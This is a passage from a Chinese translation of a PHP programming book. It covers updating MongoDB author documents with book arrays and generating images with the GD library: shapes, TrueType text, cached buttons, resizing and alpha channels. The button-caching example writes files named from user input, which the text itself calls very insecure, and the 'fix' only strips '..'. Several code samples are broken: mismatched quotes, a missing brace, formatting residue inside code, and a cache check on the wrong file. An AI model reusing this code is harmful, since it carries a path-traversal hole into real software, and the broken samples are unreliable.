Author name: Isaac Asimov

插入更复杂的数据

接下来,我们希望继续通过向文档添加一些书籍来扩展我们的 library 示例数据库,这些书籍与特定作者有关。这是不同数据库中不同表的类比可以崩溃的地方。考虑示例 9-10,它向 authors 文档添加了四本书,实质上是作为多维数组。

示例 9-10. MongoDB 简单数据更新/插入
$mongo = new Mongo();
$db = $mongo->library;
$authors = $db->authors;

$authors->update(
 array('name' => "Isaac Asimov"),
 array('$set' =>
 array('books' =>
 array(
 "0-425-17034-9" => "Foundation",
 "0-261-10236-2" => "I, Robot",
 "0-440-17464-3" => "Second Foundation",
 "0-425-13354-0" => "Pebble In The Sky",
 )
 )
 )
);

在此之后,我们通过建立必要的连接,使用 update() 方法,并使用数组的第一个元素(update() 方法的第一个参数)作为唯一的查找标识符,并使用一个称为 $set 的定义运算符作为第二个参数,将书籍数据附加到提供的第一个参数的键上。

注意

在生产环境中使用这些特殊操作符 $set$push(本文未涉及)之前,您应该进行调查并完全理解它们。请参阅MongoDB 文档 以获取更多信息和这些操作符的完整列表。

示例 9-11 提供了另一种实现相同目标的方法,不同之处在于我们提前准备要插入和附加的数组,并使用 Mongo 创建的 _id 作为位置键。

示例 9-11. MongoDB 数据更新/插入
$mongo = new Mongo();
$db = $mongo->library;
$authors = $db->authors;

$data = $authors->findone(array('name' => "Isaac Asimov"));

$bookData = array(
 array(
 "ISBN" => "0-553-29337-0",
 "title" => "Foundation",
 "pub_year" => 1951,
 "available" => 1,
 ),
 array(
 "ISBN" => "0-553-29438-5",
 "title" => "I, Robot",
 "pub_year" => 1950,
 "available" => 1,
 ),
 array(
 "ISBN" => "0-517-546671",
 "title" => "Exploring the Earth and the Cosmos",
 "pub_year" => 1982,
 "available" => 1,
 ),
 array(
 "ISBN' => "0-553-29336-2",
 'title" => "Second Foundation",
 "pub_year" => 1953,
 "available" => 1,
 ),
);

$authors->update(
 array("_id" => $data["_id"]),
 array("$set" => array("books" => $bookData))
);

在我们之前的两个代码示例中,我们没有向书籍数据数组添加任何键。我们可以这样做,但是允许 Mongo 将该数据管理为多维数组同样简单。图 9-6 显示了当在 Genghis 中显示来自示例 9-11 的数据时的样子。

向作者添加书籍数据

图 9-6. 向作者添加书籍数据

示例 9-12 展示了我们的 Mongo 数据库中存储的更多数据。它在示例 9-9 的基础上再添加了几行代码;在这里,我们引用了前一段代码中插入书籍详细信息的自动生成的自然键。

示例 9-12. MongoDB 数据查找和显示
$mongo = new Mongo();
$db = $mongo->library;
$authors = $db->authors;

$data = $authors->findone(array("authorid" => 4));

echo "Generated Primary Key: {$data['_id']}<br />";
echo "Author name: {$data['name']}<br />";
echo "2nd Book info - ISBN: {$data['books'][1]['ISBN']}<br />";
echo "2nd Book info - Title: {$data['books'][1]['title']<br />";

前面代码生成的输出如下(请记住数组是从零开始的):

Generated Primary Key: 4ff43ef45b9e7d300c000007
Author name: Isaac Asimov
2nd Book info - ISBN: 0-553-29438-5
2nd Book info - Title: I, Robot

关于如何在 PHP 中使用和操作 MongoDB 的更多信息,请参阅PHP 网站上的文档

接下来的内容

在下一章中,我们将探讨在由 PHP 生成的页面中包含图形媒体的各种技术,以及在 Web 服务器上动态生成和操作图形的方法。

第十章:图形

显而易见,网络比文字更具视觉效果。图像以标志、按钮、照片、图表、广告和图标的形式出现。这些图像中的许多是静态的,从未改变,是使用诸如 Photoshop 之类的工具构建的。但是许多图像是动态创建的——从包含您姓名的亚马逊推荐计划广告到股票表现图。

PHP 支持使用内置的 GD 扩展库进行图形创建。在本章中,我们将向您展示如何在 PHP 中动态生成图像。

将图像嵌入页面

一个常见的误解是在单个 HTTP 请求中流动的文本和图形的混合。毕竟,当您查看页面时,您会看到一个包含这种混合的页面。重要的是要理解,通过 Web 浏览器的一系列 HTTP 请求创建包含文本和图形的标准网页;每个请求都由 Web 服务器的响应回答。每个响应只能包含一种类型的数据,每个图像需要一个单独的 HTTP 请求和 Web 服务器响应。因此,如果您看到一个包含一些文本和两个图像的页面,您知道它已经进行了三个 HTTP 请求和相应的响应来构建此页面。

以这个 HTML 页面为例:

<html>
 <head>
 <title>Example Page</title>
 </head>

 <body>
 This page contains two images.
 <img src="image1.png" alt="Image 1" />
 <img src="image2.png" alt="Image 2" />
 </body>
</html>

Web 浏览器发送到此页面的请求序列如下所示:

GET /page.html HTTP/1.0
GET /image1.png HTTP/1.0
GET /image2.png HTTP/1.0

Web 服务器对这些请求的每个响应都会返回一个响应。这些响应中的Content-Type头部如下所示:

Content-Type: text/html
Content-Type: image/png
Content-Type: image/png

要在 HTML 页面中嵌入由 PHP 生成的图像,请假设生成图像的 PHP 脚本实际上是图像本身。因此,如果我们有image1.phpimage2.php脚本来创建图像,我们可以修改先前的 HTML 代码如下(现在的图像名称都是 PHP 扩展名):

<html>
 <head>
 <title>Example Page</title>
 </head>

 <body>
 This page contains two images.
 <img src="image1.php" alt="Image 1" />
 <img src="image2.php" alt="Image 2" />
 </body>
</html>

现在,您不再引用 Web 服务器上的真实图像,而是将<img>标签指向生成并返回图像数据的 PHP 脚本。

此外,您可以向这些脚本传递变量,因此,您可以像这样编写您的<img>标签,而不是使用单独的脚本来生成每个图像:

<img src="image.php?num=1" alt="Image 1" />
<img src="image.php?num=2" alt="Image 2" />

然后,在调用的 PHP 文件image.php中,您可以访问请求参数$_GET['num']以生成适当的图像。

基本图形概念

图像是各种颜色的像素矩形。颜色通过它们在调色板中的位置进行标识,调色板是一个颜色数组。调色板中的每个条目都有三个单独的颜色值——分别为红色、绿色和蓝色。每个值的范围从0(颜色不存在)到255(完全强度的颜色)。这被称为其RGB 值。还有十六进制或“hex”值——用于 HTML 中的颜色的字母数字表示。一些图像工具,如ColorPic,将为您转换 RGB 值为十六进制。

图像文件很少是像素和调色板的直接转储。相反,创建了各种文件格式(GIF、JPEG、PNG 等),试图对数据进行压缩以使文件更小。

不同的文件格式以不同方式处理图像的透明度,它控制背景是否以及如何显示在图像之后。例如,PNG 支持alpha 通道,每个像素都有一个额外值反映该点的透明度。其他格式,如 GIF,简单地指定调色板中的一个条目表示透明度。还有一些格式,如 JPEG,根本不支持透明度。

粗糙和锯齿状的边缘,即锯齿效应,会导致图像不够吸引人。反锯齿涉及移动或重新着色形状边缘的像素,以便更渐变地过渡到其背景。一些绘制图像的函数实现了反锯齿功能。

每个像素有 256 种可能的红、绿、蓝值,因此每个像素有 16,777,216 种可能的颜色。某些文件格式限制调色板中的颜色数量(例如,GIF 最多支持 256 种颜色);其他文件格式则允许使用所需数量的颜色。后者被称为真彩色格式,因为 24 位色(每种颜色分别有 8 位)提供了比人眼能分辨的更多色调。

创建和绘制图像

现在,让我们从最简单的可能的 GD 示例开始。示例 10-1 是一个生成黑色填充方块的脚本。这段代码适用于任何支持 PNG 图像格式的 GD 版本。

示例 10-1. 白底黑色方块(black.php)
<?php
$image = imagecreate(200, 200);

$white = imagecolorallocate($image, 0xFF, 0xFF, 0xFF);
$black = imagecolorallocate($image, 0x00, 0x00, 0x00);
imagefilledrectangle($image, 50, 50, 150, 150, $black);

header("Content-Type: image/png");
imagepng($image);

示例 10-1 展示了生成任何图像的基本步骤:创建图像、分配颜色、绘制图像,然后保存或发送图像。图 10-1 显示了 示例 10-1 的输出。

白底黑色方块

图 10-1. 白底黑色方块

要查看结果,只需将浏览器指向 black.php 页面。要在网页中嵌入此图像,请使用:

<img src="black.php" />

图形程序的结构

大多数动态图像生成程序都遵循 示例 10-1 中概述的相同基本步骤。

您可以使用 imagecreate() 函数创建一个 256 色图像,该函数返回一个图像句柄:

$image = imagecreate(*`width`*, *`height`*);

图像中使用的所有颜色都必须使用 imagecolorallocate() 函数分配。第一个分配的颜色成为图像的背景颜色:¹

$color = imagecolorallocate(*`image`*, *`red`*, *`green`*, *`blue`*);

参数是颜色的数字 RGB(红色、绿色、蓝色)组件。在 示例 10-1 中,我们用十六进制写入颜色值,以便函数调用更接近 HTML 颜色表示 #FFFFFF#000000

GD 中有许多绘图原语。示例 10-1 使用了imagefilledrectangle(),其中通过传递左上角和右下角的坐标来指定矩形的尺寸:

imagefilledrectangle(*`image`*, *`tlx`*, *`tly`*, *`brx`*, *`bry`*, *`color`*);

下一步是向浏览器发送Content-Type头部,使用适当的内容类型来创建所需类型的图像。完成此操作后,我们调用相应的输出函数。imagejpeg()imagegif()imagepng()imagewbmp() 函数分别用于创建 GIF、JPEG、PNG 和 WBMP 文件:

imagegif(*`image`* [, *`filename`* ]);
imagejpeg(*`image`* [, *`filename`* [, *`quality`* ]]);
imagepng(*`image`* [, *`filename`* ]);
imagewbmp(*`image`* [, *`filename`* ]);

如果没有给出filename,则图像将输出到浏览器;否则,它将创建(或覆盖)给定路径的图像。对于 JPEG,quality参数的取值范围为0(最差)到100(最佳)。质量越低,JPEG 文件越小。默认设置为75

在示例 10-1 中,在调用输出生成函数imagepng()之前立即设置 HTTP 头部。如果在脚本的最开始设置了Content-Type,则生成的任何错误都会被视为图像数据,并导致浏览器显示损坏的图像图标。表 10-1 列出了各种图像格式及其Content-Type值。

表 10-1. 图像格式的 Content-Type 值

格式 Content-Type
GIF image/gif
JPEG image/jpeg
PNG image/png
WBMP image/vnd.wap.wbmp

更改输出格式

如你所推测的那样,生成不同类型的图像流只需对脚本进行两处更改:发送不同的Content-Type并使用不同的图像生成函数。示例 10-2 展示了修改后生成 JPEG 而非 PNG 图像的示例 10-1。

示例 10-2. 黑色正方形的 JPEG 版本
<?php
$image = imagecreate(200, 200);
$white = imagecolorallocate($image, 0xFF, 0xFF, 0xFF);
$black = imagecolorallocate($image, 0x00, 0x00, 0x00);

imagefilledrectangle($image, 50, 50, 150, 150, $black);

header("Content-Type: image/jpeg");
imagejpeg($image);

测试支持的图像格式

如果编写的代码必须在可能支持不同图像格式的系统上移植,请使用imagetypes()函数检查支持的图像类型。此函数返回一个位字段;您可以使用位与运算符(&)来检查给定位是否设置。常量IMG_GIFIMG_JPGIMG_PNGIMG_WBMP 对应于这些图像格式的位。

如果支持 PNG,则示例 10-3 生成 PNG 文件;如果不支持 PNG,则生成 JPEG 文件;如果既不支持 PNG 也不支持 JPEG,则生成 GIF 文件。

示例 10-3. 检查图像格式支持情况
<?php
$image = imagecreate(200, 200);
$white = imagecolorallocate($image, 0xFF, 0xFF, 0xFF);
$black = imagecolorallocate($image, 0x00, 0x00, 0x00);

imagefilledrectangle($image, 50, 50, 150, 150, $black);

if (imagetypes() & IMG_PNG) {
 header("Content-Type: image/png");
 imagepng($image);
}
else if (imagetypes() & IMG_JPG) {
 header("Content-Type: image/jpeg");
 imagejpeg($image);
}
else if (imagetypes() & IMG_GIF) {
 header("Content-Type: image/gif");
 imagegif($image);
}

读取现有文件

如果想要从现有图像开始并进行修改,可以使用imagecreatefromgif()imagecreatefromjpeg()imagecreatefrompng()

$image = imagecreatefromgif(*`filename`*);
$image = imagecreatefromjpeg(*`filename`*);
$image = imagecreatefrompng(*`filename`*);

基本绘图函数

GD 提供了绘制基本点、线条、弧线、矩形和多边形的函数。本节描述了 GD 2.x 支持的基本函数。

最基本的函数是imagesetpixel(),它设置指定像素的颜色:

imagesetpixel(*`image`*, *`x`*, *`y`*, *`color`*);

有两个用于绘制线条的函数,imageline()imagedashedline()

imageline(*`image`*, *`start_x`*, *`start_` `y`*, *`end_x`*, *`end_` `y`*, *`color`*);
imagedashedline(*`image`*, *`start_x`*, *`start_` `y`*, *`end_x`*, *`end_` `y`*, *`color`*);

有两个用于绘制矩形的函数,一个仅绘制轮廓,另一个使用指定的颜色填充矩形:

imagerectangle(*`image`*, *`tlx`*, *`tly`*, *`brx`*, *`bry`*, *`color`*);
imagefilledrectangle(*`image`*, *`tlx`*, *`tly`*, *`brx`*, *`bry`*, *`color`*);

指定矩形的位置和大小,通过传递左上角和右下角的坐标。

您可以使用imagepolygon()imagefilledpolygon()函数绘制任意多边形:

imagepolygon(*`image`*, *`points`*, *`number`*, *`color`*);
imagefilledpolygon(*`image`*, *`points`*, *`number`*, *`color`*);

这两个函数接受一个点的数组。该数组对于多边形的每个顶点都有两个整数(xy坐标)。number参数是数组中顶点的数量(通常为count($points)/2)。

imagearc()函数绘制弧(椭圆的一部分):

imagearc(*`image`*, *`center_x`*, *`center_y`*, *`width`*, *`height`*, *`start`*, *`end`*, *`color`*);

椭圆由其中心、宽度和高度定义(对于圆来说,高度和宽度相同)。弧的起始和结束点以度数给出,逆时针从 3 点开始计数。使用start0end360绘制完整的椭圆。

有两种方法可以填充已绘制的形状。imagefill()函数执行洪水填充,从给定位置开始更改像素的颜色。像素颜色的任何变化标记了填充的限制。imagefilltoborder()函数允许您传递填充限制的特定颜色:

imagefill(*`image`*, *`x`*, *`y`*, *`color`*);
imagefilltoborder(*`image`*, *`x`*, *`y`*, *`border_color`*, *`color`*);

另一件可能需要对图像做的事情是旋转它们。例如,如果您试图创建 Web 风格的宣传册,这可能会有所帮助。image``rotate()函数允许您以任意角度旋转图像:

imagerotate(*`image`*, *`angle`*, *`background_color`*);

示例 10-4 中的代码显示了之前的黑盒子图像,旋转了 45 度。background_color选项用于指定图像旋转后未覆盖区域的颜色,已设置为1以显示黑白颜色的对比。图 10-2 显示了此代码的结果。

示例 10-4. 图像旋转示例
<?php
$image = imagecreate(200, 200);
$white = imagecolorallocate($image, 0xFF, 0xFF, 0xFF);
$black = imagecolorallocate($image, 0x00, 0x00, 0x00);
imagefilledrectangle($image, 50, 50, 150, 150, $black);

$rotated = imagerotate($image, 45, 1);

header("Content-Type: image/png");
imagepng($rotated);

黑盒子图像旋转 45 度

图 10-2. 黑盒子图像旋转 45 度

带有文本的图像

经常需要向图像添加文本。GD 提供了内置字体以供此用途。示例 10-5 向我们的黑方形图像添加了一些文本。

示例 10-5. 向图像添加文本
<?php
$image = imagecreate(200, 200);
$white = imagecolorallocate($image, 0xFF, 0xFF, 0xFF);
$black = imagecolorallocate($image, 0x00, 0x00, 0x00);

imagefilledrectangle($image, 50, 50, 150, 150, $black);
imagestring($image, 5, 50, 160, "A Black Box", $black);

header("Content-Type: image/png");
imagepng($image);

图 10-3 显示了示例 10-5 的输出。

添加文本后的黑盒子图像

图 10-3. 添加文本后的黑盒子图像

imagestring()函数向图像添加文本。指定文本的左上角点、颜色和要使用的 GD 字体(通过标识符):

imagestring(*`image`*, *`font_id`*, *`x`*, *`y`*, *`text`*, *`color`*);

字体

GD 通过 ID 识别字体。内置五种字体,并可以通过imageloadfont()函数加载额外的字体。这五种内置字体显示在图 10-4 中。

本地 GD 字体

图 10-4. 本地 GD 字体

这里是用于显示这些字体的代码:

<?php
$image = imagecreate(200, 200);
$white = imagecolorallocate($image, 0xFF, 0xFF, 0xFF);
$black = imagecolorallocate($image, 0x00, 0x00, 0x00);

imagestring($image, 1, 10, 10, "Font 1: ABCDEfghij", $black);
imagestring($image, 2, 10, 30, "Font 2: ABCDEfghij", $black);
imagestring($image, 3, 10, 50, "Font 3: ABCDEfghij", $black);
imagestring($image, 4, 10, 70, "Font 4: ABCDEfghij", $black);
imagestring($image, 5, 10, 90, "Font 5: ABCDEfghij", $black);

header("Content-Type: image/png");
imagepng($image);

您可以创建自己的位图字体,并使用imageloadfont()函数将它们加载到 GD 中。但是,这些字体是二进制的,且依赖于架构,使它们无法从一台机器移植到另一台机器。在 GD 中使用 TrueType 函数与 TrueType 字体提供了更大的灵活性。

TrueType 字体

TrueType 是一种轮廓字体标准;它提供了对字符渲染更精确的控制。要向图像中添加 TrueType 字体的文本,请使用imagettftext()

imagettftext(*`image`*, *`size`*, *`angle`*, *`x`*, *`y`*, *`color`*, *`font`*, *`text`*);

大小以像素为单位。角度以从 3 点钟开始的度数表示(0表示水平文本,90表示向上的垂直文本等)。xy 坐标指定文本基线的左下角。文本可能包含 UTF-8²形式的&#234;序列,以打印高位 ASCII 字符。

字体参数是用于渲染字符串的 TrueType 字体的位置。如果字体不以斜杠开头,则添加.ttf扩展名,并在/usr/share/fonts/truetype中查找字体。

默认情况下,TrueType 字体的文本是反锯齿的。这使大多数字体更易阅读,尽管略微模糊。但是,反锯齿可能使非常小的文本更难读——小字符具有更少的像素,因此反锯齿的调整更为显著。

您可以通过使用负颜色索引(例如,−4表示使用颜色索引 4 但不反锯齿文本)关闭反锯齿。

示例 10-6 使用 TrueType 字体向图像添加文本,搜索字体位置与脚本相同,但仍需提供字体文件位置的完整路径(包含在本书的代码示例中)。

示例 10-6. 使用 TrueType 字体
<?php
$image = imagecreate(350, 70);
$white = imagecolorallocate($image, 0xFF, 0xFF, 0xFF);
$black = imagecolorallocate($image, 0x00, 0x00, 0x00);

$fontname = "c:/wamp64/www/bookcode/chapter_10/IndieFlower.ttf";

*`imagettftext`*($image, 20, 0, 10, 40, $black, $fontname, "The Quick Brown Fox");

header("Content-Type: image/png");
imagepng($image);

图 10-5 显示了示例 10-6 的输出。

Indie Flower TrueType 字体

图 10-5. Indie Flower TrueType 字体

示例 10-7 使用imagettftext()向图像添加垂直文本。

示例 10-7. 显示垂直 TrueType 文本
<?php
$image = *`imagecreate`*(70, 350);
$white = *`imagecolorallocate`*($image, 255, 255, 255);
$black = *`imagecolorallocate`*($image, 0, 0, 0);

$fontname = "c:/wamp64/www/bookcode/chapter_10/IndieFlower.ttf";

*`imagettftext`*($image, 20, 270, 28, 10, $black, $fontname, "The Quick Brown Fox");

*`header`*("Content-Type: image/png");
*`imagepng`*($image);

图 10-6 显示了示例 10-7 的输出。

垂直 TrueType 文本

图 10-6. 垂直 TrueType 文本

动态生成的按钮

动态生成按钮图像是生成图像的一种流行用途之一(本主题在第一章中介绍)。通常情况下,这涉及将文本合成到预先存在的背景图像上,如示例 10-8 所示。

示例 10-8. 创建动态按钮
<?php
$font = "c:/wamp64/www/bookcode/chapter_10/IndieFlower.ttf" ;
$size = *`isset`*(`$_GET`['size']) ? `$_GET`['size'] : 12;
$text = *`isset`*(`$_GET`['text']) ? `$_GET`['text'] : 'some text';

$image = *`imagecreatefrompng`*("button.png");
$black = *`imagecolorallocate`*($image, 0, 0, 0);

`if` ($text) {
 // calculate position of text
 $tsize = *`imagettfbbox`*($size, 0, $font, $text);
 $dx = *`abs`*($tsize[2] - $tsize[0]);
 $dy = *`abs`*($tsize[5] - $tsize[3]);
 $x = (*`imagesx`*($image) - $dx ) / 2;
 $y = (*`imagesy`*($image) - $dy ) / 2 + $dy;

 // draw text
 *`imagettftext`*($image, $size, 0, $x, $y, $black, $font, $text);
}

*`header`*("Content-Type: image/png");
*`imagepng`*($image);

在这种情况下,空白按钮(button.png)被默认文本覆盖,如图 10-7 所示。

默认文本的动态按钮

图 10-7. 默认文本的动态按钮

可以像这样从页面调用示例 10-8 中的脚本:

<img src="button.php?text=PHP+Button" />

此 HTML 生成了图 10-8 中显示的按钮。

带有生成文本标签的按钮

图 10-8. 带有生成文本标签的按钮

URL 中的+字符是空格的编码形式。空格在 URL 中是非法的,必须进行编码。使用 PHP 的urlencode()函数对按钮字符串进行编码。例如:

<img src="button.php?text=<?= urlencode("PHP Button"); ?>" />

缓存动态生成的按钮

生成图像比发送静态图像稍慢一些。对于每次以相同文本参数调用时始终看起来相同的按钮,您可以实现一个简单的缓存机制。

示例 10-9 仅在找不到该按钮的缓存文件时生成该按钮。$path变量保存一个目录,由 Web 服务器用户可写,其中按钮可以被缓存;确保它可以从运行此代码的位置访问。filesize()函数返回文件的大小,readfile()函数将文件内容发送到浏览器。因为此脚本使用文本形式参数作为文件名,所以非常不安全。(第十四章,讨论安全问题,解释了如何修复它。)

示例 10-9. 缓存动态按钮
<?php

$font = "c:/wamp64/www/bookcode/chapter_10/IndieFlower.ttf";
$size = isset($_GET['size']) ? $_GET['size'] : 12;
$text = isset($_GET['text']) ? $_GET['text'] : 'some text';

$path = "/tmp/buttons"; // button cache directory

// send cached version

if ($bytes = @filesize("{$path}/button.png")) {
 header("Content-Type: image/png");
 header("Content-Length: {$bytes}");
 readfile("{$path}/button.png");

 exit;
}

// otherwise, we have to build it, cache it, and return it
$image = imagecreatefrompng("button.png");
$black = imagecolorallocate($image, 0, 0, 0);

if ($text) {
 // calculate position of text
 $tsize = imagettfbbox($size, 0, $font, $text);
 $dx = abs($tsize[2] - $tsize[0]);
 $dy = abs($tsize[5] - $tsize[3]);
 $x = (imagesx($image) - $dx ) / 2;
 $y = (imagesy($image) - $dy ) / 2 + $dy;

 // draw text
 imagettftext($image, $size, 0, $x, $y, $black, $font, $text);

 // save image to file
 imagepng($image, "{$path}/{$text}.png");
}

header("Content-Type: image/png");
imagepng($image);

更快的缓存

示例 10-9 仍不如可能的快速。使用 Apache 指令,您可以完全绕过 PHP 脚本,并在创建后直接加载缓存的图像。

首先,在您的 Web 服务器的DocumentRoot下的某个地方创建一个buttons目录,并确保您的 Web 服务器用户有权限写入此目录。例如,如果DocumentRoot目录是/var/www/html,则创建/var/www/html/buttons

其次,编辑您的 Apache httpd.conf文件,并添加以下代码块:

<Location /buttons/>
 ErrorDocument 404 /button.php
</Location>

这告诉 Apache,对于buttons目录中不存在的文件请求,应将其发送到您的button.php脚本。

第三步,将示例 10-10 保存为button.php。该脚本创建新的按钮,将它们保存到缓存并发送到浏览器。与示例 10-9 不同,这里没有$_GET中的表单参数,因为 Apache 将错误页面处理为重定向。相反,我们必须从$_SERVER中分析数值以确定正在生成的按钮。顺便说一句,我们删除文件名中的'..'以修复来自示例 10-9 的安全漏洞。

安装button.php后,当像http://your.site/buttons/php.png这样的请求到来时,Web 服务器会检查是否存在buttons/php.png文件。如果不存在,请求将重定向到button.php脚本,该脚本创建带有“php”文本的图像并保存到buttons/php.png中。任何对此文件的后续请求都将直接提供,而无需运行 PHP 代码。

示例 10-10. 更高效的动态按钮缓存
<?php
// bring in redirected URL parameters, if any
parse_str($_SERVER['REDIRECT_QUERY_STRING']);

$cacheDir = "/buttons/";
$url = $_SERVER['REDIRECT_URL'];

// pick out the extension
$extension = substr($url, strrpos($url, '.'));

// remove directory and extension from $url string
$file = substr($url, strlen($cacheDir), -strlen($extension));

// security - don't allow '..' in filename
$file = str_replace('..', '', $file);

// text to display in button
$text = urldecode($file);

$font = "c:/wamp64/www/bookcode/chapter_10/IndieFlower.ttf" ;

// build it, cache it, and return it
$image = imagecreatefrompng("button.png");
$black = imagecolorallocate($image, 0, 0, 0);

if ($text) {
 // calculate position of text
 $tsize = imagettfbbox($size, 0, $font, $text);
 $dx = abs($tsize[2] - $tsize[0]);
 $dy = abs($tsize[5] - $tsize[3]);
 $x = (imagesx($image) - $dx ) / 2;
 $y = (imagesy($image) - $dy ) / 2 + $dy;

 // draw text
 imagettftext($image, $size, 0, $x, $y, $black, $font, $text);

 // save image to file
 imagepng($image, "{$_SERVER['DOCUMENT_ROOT']}{$cacheDir}{$file}.png");
}

header("Content-Type: image/png");
imagepng($image);

示例 10-10 机制的一个显著缺点是按钮文本不能包含文件名中非法字符。尽管如此,这仍然是缓存动态生成图像的最有效方式。如果更改按钮外观并需要重新生成缓存图像,只需删除buttons目录中的所有图像,它们将在请求时重新创建。

还可以进一步操作,让您的button.php脚本支持多种图像类型。只需检查$extension并在脚本末尾调用适当的imagepng()imagejpeg()imagegif()函数。还可以解析文件名并添加修改器,如颜色、大小和字体,或直接在 URL 中传递它们。由于示例中的parse_str()调用,例如http://your.site/buttons/php.png?size=16的 URL 将以 16 号字体大小显示“php”。

缩放图像

图像大小可以通过两种方式改变。imagecopyresized()函数速度快但粗糙,在新图像中可能会产生锯齿边缘。imagecopyresampled()函数速度较慢,但使用像素插值生成平滑边缘,并提供调整大小后图像的清晰度。这两个函数接受相同的参数:

imagecopyresized(*`dest`*, *`src`*, *`dx`*, *`dy`*, *`sx`*, *`sy`*, *`dw`*, *`dh`*, *`sw`*, *`sh`*);
imagecopyresampled(*`dest`*, *`src`*, *`dx`*, *`dy`*, *`sx`*, *`sy`*, *`dw`*, *`dh`*, *`sw`*, *`sh`*);

destsrc参数是图像句柄。点(dx, dy)是目标图像中将复制区域的点。点(sx, sy)是源图像的左上角。swshdwdh参数给出了源和目标中复制区域的宽度和高度。

示例 10-11 对 php.jpg 图像进行缩放,平滑地缩小为原尺寸的四分之一,得到 图 10-10 中的图像。

示例 10-11. 使用 imagecopyresampled() 进行调整大小
<?php
$source = imagecreatefromjpeg("php_logo_big.jpg");

$width = imagesx($source);
$height = imagesy($source);
$x = $width / 2;
$y = $height / 2;

$destination = imagecreatetruecolor($x, $y);
imagecopyresampled($destination, $source, 0, 0, 0, 0, $x, $y, $width, $height);

header("Content-Type: image/png");
imagepng($destination);

原始 php.jpg 图像

图 10-9. 原始 php.jpg 图像

结果为 1/4 大小的图像

图 10-10. 结果为 1/4 大小的图像

将高度和宽度除以 4 而不是 2,会产生如 图 10-11 所示的输出。

结果为 1/16 大小的图像

图 10-11. 结果为 1/16 大小的图像

颜色处理

GD 库支持既有 8 位调色板(256 色)图像,也支持带有 alpha 通道透明度的真彩色图像。

要创建一个 8 位调色板图像,使用 imagecreate() 函数。随后,使用 imagecolorallocate() 分配的第一个颜色填充图像的背景:

$width = 128;
$height = 256;

$image = imagecreate($width, $height);
$white = imagecolorallocate($image, 0xFF, 0xFF, 0xFF);

要创建带有 7 位 alpha 通道的真彩色图像,请使用 imagecreatetruecolor() 函数:

$image = imagecreatetruecolor(*`width`*, *`height`*);

使用 imagecolorallocatealpha() 创建包含透明度的颜色索引:

$color = imagecolorallocatealpha(*`image`*, *`red`*, *`green`*, *`blue`*, *`alpha`*);

Alpha 值介于 0(不透明)和 127(透明)之间。

尽管大多数人习惯于 8 位(0–255)的 alpha 通道,GD 实际上使用的是很方便的 7 位(0–127)alpha 通道。每个像素由一个 32 位有符号整数表示,四个 8 位字节排列如下:

High Byte Low Byte
{Alpha Channel} {Red} {Green} {Blue}

对于有符号整数,最左边的位,或者最高位,用于指示值是否为负数,因此只留下了 31 位的实际信息。PHP 的默认整数值是有符号长整型,可以存储单个 GD 调色板条目。该整数是正数还是负数告诉我们该调色板条目是否启用了抗锯齿。

与调色板图像不同,真彩色图像中的第一个颜色分配并不自动成为背景色。相反,图像最初填充了完全透明的像素。调用 imagefilledrectangle() 可以用任何背景颜色填充图像。

示例 10-12 创建了一个真彩色图像,并在白色背景上绘制了半透明的橙色椭圆。

示例 10-12. 白色背景上的简单橙色椭圆
<?php
$image = imagecreatetruecolor(150, 150);
$white = imagecolorallocate($image, 255, 255, 255);

imagealphablending($image, false);
imagefilledrectangle($image, 0, 0, 150, 150, $white);

$red = imagecolorallocatealpha($image, 255, 50, 0, 50);
imagefilledellipse($image, 75, 75, 80, 63, $red);

header("Content-Type: image/png");
imagepng($image);

图 10-12 展示了 示例 10-12 的输出。

白色背景上的橙色椭圆

图 10-12. 白色背景上的橙色椭圆

您可以使用 imagetruecolortopalette() 函数将真彩色图像转换为带有颜色索引的图像(也称为调色板图像)。

使用 Alpha 通道

在示例 10-12 中,我们在绘制背景和椭圆之前关闭了alpha 混合。Alpha 混合是一个开关,用于确定绘制图像时是否应用 alpha 通道(如果存在)。如果 alpha 混合关闭,新像素将替换旧像素。如果新像素具有 alpha 通道,则将其维持,但将覆盖的原始像素的所有像素信息都将丢失。

示例 10-13 通过在橙色椭圆上绘制一个 50% alpha 通道的灰色矩形来说明 alpha 混合。

示例 10-13. 50% alpha 通道的灰色矩形叠加
<?php
$image = imagecreatetruecolor(150, 150);
imagealphablending($image, false);

$white = imagecolorallocate($image, 255, 255, 255);
imagefilledrectangle($image, 0, 0, 150, 150, $white);

$red = imagecolorallocatealpha($image, 255, 50, 0, 63);
imagefilledellipse($image, 75, 75, 80, 50, $red);

imagealphablending($image, false);

$gray = imagecolorallocatealpha($image, 70, 70, 70, 63);
imagefilledrectangle($image, 60, 60, 120, 120, $gray);

header("Content-Type: image/png");
imagepng($image);

图 10-13 展示了示例 10-13 的输出(alpha 混合仍然关闭)。

橙色椭圆上的灰色矩形

图 10-13. 橙色椭圆上的灰色矩形

如果我们在调用imagefilledrectangle()之前将示例 10-13 修改为启用 alpha 混合,我们将得到图像显示在图 10-14 中。

启用了 alpha 混合的图像

图 10-14. 启用了 alpha 混合的图像

颜色识别

要检查图像中特定像素的颜色索引,可以使用imagecolorat()

$color = imagecolorat(*`image`*, *`x`*, *`y`*);

对于使用 8 位色板的图像,该函数返回一个颜色索引,然后将其传递给imagecolorsforindex()以获取实际的 RGB 值:

$values = imagecolorsforindex(*`image`*, *`index`*);

imagecolorsforindex()返回的数组具有键'red''green''blue'。如果在真彩图像的颜色上调用imagecolorsforindex(),返回的数组还具有键'alpha'的值。这些键的值对应于调用imagecolorallocate()imagecolorallocatealpha()时使用的 0 到 255 的颜色值和 0 到 127 的 alpha 值。

真彩索引

imagecolorallocatealpha()返回的颜色索引实际上是一个 32 位有符号长整数,其中前三个字节分别表示红、绿、蓝的值。接下来的一个位表示此颜色是否启用了抗锯齿,剩余的七位表示透明度值。

例如:

$green = imagecolorallocatealpha($image, 0, 0, 255, 127);

此代码将$green设置为2130771712,在十六进制中为0x7F00FF00,在二进制中为01111111000000001111111100000000

这等同于以下的imagecolorresolvealpha()调用:

$green = (127 << 24) | (0 << 16) | (255 << 8) | 0;

在这个例子中,你也可以去掉两个0条目,简化成:

$green = (127 << 24) | (255 << 8);

要解构这个值,可以使用如下方法:

$a = ($col & 0x7F000000) >> 24;
$r = ($col & 0x00FF0000) >> 16;
$g = ($col & 0x0000FF00) >> 8;
$b = ($col & 0x000000FF);

很少需要像这样直接操作颜色值。一个应用场景是生成一个颜色测试图像,显示纯红、绿和蓝的纯色。例如:

$image = imagecreatetruecolor(256, 60);

for ($x = 0; $x < 256; $x++) {
 imageline($image, $x, 0, $x, 19, $x);
 imageline($image, 255 - $x, 20, 255 - $x, 39, $x << 8);
 imageline($image, $x, 40, $x, 59, $x<<16);
}

header("Content-Type: image/png");
imagepng($image);

